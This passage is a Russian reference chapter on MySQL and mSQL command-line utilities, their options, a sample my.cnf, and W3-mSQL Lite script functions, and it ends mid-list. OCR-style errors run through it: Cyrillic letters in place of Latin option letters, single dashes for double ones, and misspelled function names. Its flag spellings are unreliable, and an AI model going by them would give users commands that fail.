    Начиная с MySQL 3.22, вы можете указать и серверные, и клиентские настройки в текстовом файле конфигурации. Файл имеет разные значения в зависимости от места расположения, но его формат всегда един. Если он хранится в /etc/my.cnf, настройки применяются ко всем серверам MySQL и клиентам на этой машине. Если файл находится в каталоге данных сервера MySQL (например, /usr/local/mysql/data/ my.cnf), то настройки действительны именно для этого сервера MySQL. Наконец, если файл назван .my.cnf (обратите внимание наточку в начале) и расположен в домашнем каталоге пользователя, он применяется ко всем клиентам, запускаемым этим пользователем.

    Формат файла конфигурации похож на формат файлов инициализации Windows. Файл разбит на абзацы (строфы) с групповым именем, заключенным в скобки. После имени группы идет список параметров. Строки комментария начинаются символом "#" или "; ". Каждое имя группы - это название клиентской или серверной программы MySQL, для которой необходимо определить настройки. Специальное групповое имя client, влияет на все клиентские программы MySQL (кроме mysqld).

    Задаваемые в этом файле параметры могут быть любой длины. Они имеют ту же форму, что и параметры к любой команде MySQL, заданные из командной строки (кроме идентификатора параметров "-" (двойная черта)). Ниже приведен пример файла my.cnf для всего сервера.

    [client]

    port=9999

    socket=/dev/mysql

    [mysqld]

    port=9999

    socket=/dev/mysql

    set-variable = join_buffer=1M

    [mysql]

    host=dbhost

    unbuffered



    в себя обширный набор программ

    Программы и утилиты My SQL и mSQL

    MySQL и mSQL включают в себя обширный набор программ и утилит, которые упрощают общение с базой данных. Многие из этих программ адресованы конечным пользователям для чтения и записи данных, а другие предназначены администраторам баз данных для управления и восстановления базы данных в целом.



    Утилиты mSQL

    msql

    msql [options] database

    Монитор командной строки mSQL. Эта программа является основным средством общения с сервером mSQL. SQL-команды можно набирать прямо в командной строке, и результат будет выведен на экран. Команды могут занимать несколько строк. Никаких действий не выполняется, пока не будет введена строка, заканчивающаяся командой на выполнение. . * .

    Команды

    \e

    Редактировать предыдущее предложение с помощью редактора по умолчанию.

    \g

    Послать команду серверу баз данных.



    Вывести текущую команду.

    \q

    Выйти из программы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    msql2d

    msq12d [options]

    Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    msqladmin

    msqladmin [options] command

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

    Команды

    copy database newdatabase

    Создает точную копию базы данных под другим именем.

    create database

    Создает новую пустую базу данных.

    drop database

    Удаляет базу данных и уничтожает ее содержимое.

    move database newdatabase

    Переименовывает базу данных.

    reload

    Перечитывает файлы конфигурации.
    shutdown

    Выключает сервер баз данных.
    stats

    Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

    version

    Показывает информацию о версии сервера баз данных.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.
    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q


    Не запрашивать подтверждения команд.

    msqldump

    msqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

    Параметры



    Выводить полные инструкции INSERT.

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -t

    Создавать дамп только операторов создания таблиц; не выводить данные.

    -w statement

    Использовать оператор WHERE для ограничения выводимых данных.

    -V

    Показать информацию о процессе, пока создается дамп данных.

    msqlexport

    msqlexport [options] database table

    Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

    Параметры

    -е character

    Использовать character для экранирования любых разделителей, найденных в данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -v

    Показать информацию о процессе, пока происходит экспорт данных.

    msq Iimport

    msqlimport [options] database table

    Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

    Параметры

    -е character

    Символ, используемый как управляющий в файле данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -V

    Показать информацию о процессе, пока происходит вставка данных.

    relshow

    relshow [options] [database] [table] [index|_seq]

    Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    Утилиты MySQL

    isamchk

    isamchk [options] table [table...]

    Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen-dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

    -a, --analyze

    Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

    -d, -description

    Выводит информацию о таблице.
    -е, --extend-check

    Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

    -f, --force

    Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

    -i, --information

    Выводит всю статистику о проверяемой таблице.
    -k=number, -keys-used=number

    Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

    -l, --no-symlinks

    He восстанавливать таблицы с символическими связями.

    -q, --quick

    Ускорить процесс восстановления путем отказа от проверки файла данных.

    -r, --recover

    Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

    -о, --safe-recover

    Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.


    -О, --set-variable

    Установить переменную. См. главу 16 "Системные переменные MySQL и mSQL", где приведен полный список используемых переменных.

    -s, --silent

    Выводить только ошибки.

    -S, --sort-index

    Отсортировать индексный блок таблицы.

    -R=index, --sort-records=index

    Отсортировать записи, используя index.

    -U, --unpack

    Распаковать файл, сжатый с помощьюpack_isam.

    -v, --verbose

    Выводить дополнительную информацию.

    -V, --version

    Вывести информацию о версии.

    -w, --wait

    Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

    isamlog

    isamlog [options] [logfile] [table]

    Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

    Параметры

    -?, -help

    Вывести справочную информацию по использованию утилиты.

    -# debuglevel

    Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -с number

    Проверить только последнее указанное (number) количество команд.

    -f number

    Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

    -F directory

    Каталог с файлами журналов ISAM.

    -i

    Выводить дополнительную информацию.

    -о number

    Пропустить указанное число команд перед исследованием журнала.


    -p

    Удалить компоненты из пути к файлам.

    -r

    Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

    -R datafile recordnumber

    Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

    -u

    Обновить таблицы, используя информацию из журнала.

    -v

    Вывести дополнительную информацию о процессе.

    -V

    Вывести информацию о версии.

    -w file

    Поместить в файл все записи, найденные с использованием

    -R.

    mysql

    mysql [options] [database]

    Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

    Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

    Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

    Команды

    help, ?, \h

    Показать список команд утилиты.

    clear, \c

    Очистить (игнорировать) текущую команду.

    edit, \e

    Редактировать текущую команду с помощью редактора по умолчанию.

    exit.

    Выйти из программы.

    go, \g, ;

    Послать текущую команду серверу баз данных.

    ego, \G

    Послать текущую команду серверу баз данных и вывести результаты по вертикали.

    print, \p

    Вывести текущую команду.

    quit, \q

    To же, что exit,

    rehash, \#


    Перестроить индекс завершающих терминов.

    status, \s

    Показать информацию о сервере и текущей сессии.

    use, \u

    Выбрать другую базу данных.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel. -debug=debuglevel

    Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -A, --no-auto-rehash.

    Не хэшировать заново данные из базы в автоматическом режиме.

    -В, -batch

    Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

    -е statement, -execute=statement

    Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

    -f, --force

    Не останавливать обработку при обнаружении ошибки SQL.

    -h host, -host=host

    Подключиться к базе данных на указанном хосте.

    -п, -unbuffered

    Не производить буферизацию между запросами.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где приведен полный список используемых переменных.

    -p [password], --password[=password]

    Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

    -P port, -port=port

    Номер порта для подключения к серверу баз данных.

    -q, -quick

    Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

    -r. -raw

    Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

    -s, --silent

    Не выводить некоторые результаты.

    -S file, -socket=file

    Файл сокета Unix, используемый для подключения к серверу баз данных.

    -t, -table

    Показывать результат в табличном формате.

    -Т, -debug-info

    Показать отладочную информацию при выходе из программы.

    -и username, -user=username

    Имя пользователя, используемое при подключении к базе данных.


    -v, -verbose

    Вывести дополнительные результаты.

    -V, -version

    Вывести информацию о версии.

    -w, -wait

    Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

    mysqlaccess

    mysqlaccess [options] [host] user database

    Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

    Параметры

    -?, -help

    Показать справочную информацию по пользованию утилитой.

    -b, -brief

    Показать результаты в виде краткой однострочной таблицы.

    -commit

    Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

    -сору

    Обновить временную таблицу, используя действующую таблицу привилегий.

    -d database, -db=database

    База данных, к которой происходит подключение.

    -debug=debuglevel

    Установить отладочный уровень (от 0 до 3).

    -h host, -host=host

    Имя хоста, права доступа которого проверяются.

    -howto

    Примеры использования программы.

    -Н host, --rhost=host

    Подключиться к серверу баз данных на удаленном хосте.

    -old-server

    Подключится к серверу MySQL версии старше 3.21.

    -р password, -password=password

    Проверить пароль идентифицируемого пользователя.

    -plan

    Показать предложения к следующей версии программы.

    -preview

    Показать разницу между действующей и временной таблицами привилегий.

    -Р password, -spassword=password

    Пароль администратора для доступа к таблице привилегий.

    --relnotes

    Вывести примечания к версии программы.

    --rollback

    Отменить изменения, сделанные во временной таблице.

    -t,--table

    Вывести результаты в полном табличном формате.

    -и username, -user=username


    Имя проверяемого пользователя.

    -U username. -superuser=username

    Имя администратора для доступа к таблицам привилегий.

    -v,--version

    Вывести информацию о версии.

    mysqladmin

    mysqladmin [options] command [command. . . ]

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

    Команды

    create database

    Создать новую базу данных.

    drop database

    Уничтожить базу данных.

    extended-status

    Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

    flush-hosts

    Послать клиентам всю информацию, находящуюся в буфере.

    flush-logs

    Записать на диск все журнальные данные из буфера.

    flush-privileges

    То же, что и reload,

    flush-status

    Обнулить переменные состояния.

    flush-tables

    Выполнить все буферизованные табличные операции.

    kill thread-id [thread-id...]

    Завершить один или несколько потоков mysqld.

    password password

    Установить пароль администратора для сервера баз данных.

    ping

    Проверить, работает ли сервер MySQL.

    processlist

    Показать активные потоки сервера mysqld.

    reload

    Перезагрузить информацию о правах доступа из таблицы привилегий.

    refresh

    Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

    shutdown

    Закончить работу сервера баз данных.

    status

    Отчет о состоянии сервера.

    variables

    Вывести системные переменные, используемые сервером.

    version

    Вывести номер версии сервера.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel, ~debug=debuglevel

    Установить отладочный уровень. См. isamchk для подробной информации.

    -f, --force

    Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

    -h host, --host=host

    Подключиться к серверу MySQL на указанном хосте.

    -i seconds, --sleep=seconds

    Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.


    -р [password], --password=[password]

    Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -s, --silent

    Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для подключения к локальному серверу баз данных.

    -и username, --user=username

    Имя пользователя, используемое для подключения к серверу баз данных.

    -V, --version

    Вывести информацию о версии программы mysqladmin.

    mysqlbug

    mysqlbug

    Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

    mysqld

    mysqld [options]

    Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

    Параметры

    -?, -I, -help

    Показать информацию об использовании демона.

    -# debuglevel, -debug=debuglevel

    Устанавливает отладочный уровень. См. Isamchk для детальной информации.

    -b directory, --basedir=directory

    Основной каталог, используемый при определении всех остальных каталогов.

    --big-tables

    Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

    --bind-address—ip-number

    IP-адрес, к которому привязан сервер.

    -h directory, --datadir=directory

    Каталог, содержащий файлы данных баз данных.

    -l [logfile], -log [=logfile]

    Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.


    --log-isam[=logfile]

    Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

    --log-update [=number]

    Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

    -L=language, --language=language

    Язык (English, French и т. д.), который будет использовать сервер.

    -п, --new

    Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

    -о, -old-protocol

    Использовать протокол 3.20.x.

    -О variable=value, -set-variable variable=value

    Установить переменные. См. главу 16, где приводится полный список переменных.

    --pid-file=file

    Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

    -P port, -port=port

    Номер используемого сетевого порта.

    -secure

    Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

    -skip-name-resolve

    Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

    --skip-networking

    Запретить сетевые подключения и использовать только локальный доступ.

    --skip-thread-priority

    Дать всем потокам одинаковый приоритет.

    -S, -skip-new

    Не разрешать новые (и, возможно, небезопасные) запуски демона.

    -sg

    Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

    -Sl

    Не выполнять блокировку потоков.

    --socket=file

    Имя файла сокета Unix.

    -Т, --exit-info

    Выводить отладочную информацию при выключении сервера.

    --use-locking

    Разрешить блокировку потоков.

    -v, -V, --version

    Вывести информацию о версии.

    mysqldump

    mysqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.


    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -add-drop-table

    Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

    --add-locks

    Обрамлять командой LOCK TABLE команды ввода данных.

    -allow-keywords

    Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

    -с, --compleat-insert

    Выводить полные инструкции INSERT.

    -С, --compress

    Использовать сжатие данных при подключении к серверу.

    --delayed

    Использовать INSERT DELAYED при вставке записей.

    -d, --no-data

    Не выводить данные, записывать только операторы создания таблиц.

    -е, --extended-insert

    Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

    -f, --force

    Не выходить из программы при обнаружении ошибки.

    -F, --flush-logs

    Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

    --fields-enclosed-by=delimeter

    При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

    --fields-escaped-by=delimeter

    При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

    --fields-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -l, --lock-tables

    Заблокировать таблицы перед дампом.

    --lines-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждой строки.

    -t, --no-create-info

    He выполнять дамп команд описания таблиц, записывать только данные.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где находится полный список используемых переменных.


    --opt

    Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

    -P [password], -password [=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

    -Р port, -port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -q, -quick

    Показывать все данные немедленно, без буферизации.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -Т directory, --tab=directory

    Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит создание дампа данных.

    -V, -version

    Показать информацию о версии.

    -w statement, --where=statement

    Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

    mysqlimport

    mysqlimport [options] database [file]

    Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

    Параметры

    -?, --help

    Выдать информацию по использованию утилиты.

    -# debuglevel, -debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -d, --delete

    Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

    -f, --force

    Не выходить из программы, если обнаружена ошибка

    --fields-terminated-by=string

    Указывает, что поля в файле данных заканчиваются символами, указанными в string.


    --fields-enclosed-by=string

    Указывает, что поля в файле данных с двух сторон заключены в символы string.

    --fields-optionally-enclosed-by=string

    Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

    --fields-escaped-by=string

    Заданное значение string используется в файле данных как управляющий символ.

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -I, --ignore

    Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

    -l, --lock-tables

    Заблокировать таблицы перед вставкой данных.

    -р [password], --password[=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -r, --replace

    Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

    -s, --silent

    Не показывать некоторые результаты.

    -S file, -socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит вставка данных.

    -V, -version

    Показать информацию о версии.

    mysqlshow

    mysqlshow [options] [database] [table] [field]

    Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

    Параметры

    -?, -help

    Выдать справку по использованию утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.


    -h hostname, --host=hostname

    Подключиться к удаленному серверу баз данных.

    -k, --keys

    Показать ключи таблицы.

    -Р [password], -password]=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -и username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -V, --version

    Показать информацию о версии.



    Lite

    Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

    Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

    chdir

    $result = chdir($path)

    Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

    chmod

    $result = chmod($filename, $mode)

    Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

    chop

    $string = chop($string)

    Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

    close

    close ($fd)

    Закрывает файл, связанный с указанным файловым дескриптором.

    ctime

    $time = ctime($time)

    Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

    echo

    echo($string)

    Печатает заданную строку. Все переменные в строке заменяются на их значения.

    fprintf

    fprintf($fd, $string [, arg ...])

    Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

    gethostbyaddr

    $hostinfo = gethostbyaddr($address)

    Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа "127.0.0.1". В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

    gethostbyname

    $hostinfo = gethostbyname($host)

    Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.


    getpid

    $pid = getpid()

    Возвращает идентификатор процесса (PID) программы Lite.

    getpwnam

    $entry = getpwnam($username)

    Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  • Имя пользователя.

  • Пароль.

  • UID.

  • GID.

  • GECOS (полное имя и другая дополнительная информация).

  • Домашний каталог.

  • Оболочка.

    getpwuid

    $entry = getpwuid($UID)

    Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

    includeFile

    includeFile($filename)

    Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

    kill

    $result = kill($pid, $signal)

    Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    link

    $result = link($file, $newlinkname)

    Создает "жесткую" ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    mkdir

    $result = mkdir($directoryname)

    Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    msqIConnect

    $socket = msqlConnect($host)

    Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

    msqICIose

    msqlClose($socket)

    Закрывает подключение, указанное сокетом socket.

    msqIDataSeek

    msqlDataSeek($result, $location)

    Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

    msqlEncode

    $string = msqlEncode($string)

    Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

    msqlFetchRow

    $row = msqlFetchRow($result)

    Эта функция возвращает в виде массива следующую доступную запись из result.

    msqIFieldSeek

    msqlFieldSeek($result, Slocation)


    Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..



    msqIFreeResult

    msqlFreeResult($result)

    Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

    msqllnitFieldList

    $result = msqlInitFieldList($socket, $database, $table)

    Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

    msqIListDBs

    $databases = msqlListDBs($socket)

    Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

    msqIListField

    $tableinfo = msqlListField($result)

    Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  • Имя поля

  • Имя таблицы

  • Тип таблицы

  • Длина

  • Флаги

    msqIListTables

    $tables = msqlListTables($socket, $database)

    Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

    msqINumRows

    msqlNumRows($result)

    Возвращает количество записей в данных, содержащихся в result.

    msqIQuery

    $result = msqlQuery($socket, $query)

    Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

    msqISelectDB

    $result = msqlSelectDB($socket, $database)

    Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

    msqIStoreResult

    $result = msqIStoreResult

    Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

    open

    $fd = open($file, $mode)

    Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:


    > Открыть файл для записи

    <Открыть файл для чтения

    <> Открыть файл для чтения или записи

    <Р Создать именованный канал и открыть его для чтения

    >Р Создать именованный канал и открыть его для записи

    <| Выполнить файл как команду и прочесть результаты

    >| Выполнить файл как команду и сделать запись в процесс

    pid

    $pid = getppid()

    Возвращает идентификатор (PID) родительского для программы Lite процесса.

    printf

    printf($string [, arg, ... ])

    Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

    read

    $data = read($fd, $length)

    Читает указанное в length число байт из заданного файлового дескриптора.

    readln

    $line =readln($fd)

    Читает следующую строку из указанного файлового дескриптора.

    readtok

    $data = readtok($fd, $token)

    Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

    rename

    $result = rename($oldname, $newname)

    Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    rmdir

    $result = rmdir($path)

    Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

    setContentType

    setContentType($string)

    Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

    sleep

    sleep($time)

    Останавливает работу программы на указанное количество секунд.

    split

    $strings = split($string, $token)

